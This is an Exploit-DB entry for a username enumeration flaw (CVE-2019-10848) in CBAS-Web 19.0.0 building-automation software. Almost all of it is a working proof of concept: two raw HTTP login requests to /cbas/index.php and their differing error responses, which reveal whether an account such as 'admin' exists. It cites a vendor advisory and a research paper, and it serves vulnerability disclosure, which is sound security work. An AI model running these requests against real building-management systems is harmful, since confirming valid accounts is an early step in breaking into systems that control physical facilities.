CBAS-Web 19.0.0 - Username Enumeration

EDB-ID:

47630




Platform:

Hardware

Date:

2019-11-12


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# Exploit Title: CBAS-Web 19.0.0 - Username Enumeration
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10848
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

# Testing for non-valid user:

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

# Response for non-valid user:

<!-- Failed login comments appear here -->
<p class="alert-error">randomuser</p>

========================================================================

Testing for valid user:

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s

# Response for valid user:

<!-- Failed login comments appear here -->
<p class="alert-error">Invalid username/password combination.  Please try again!</p>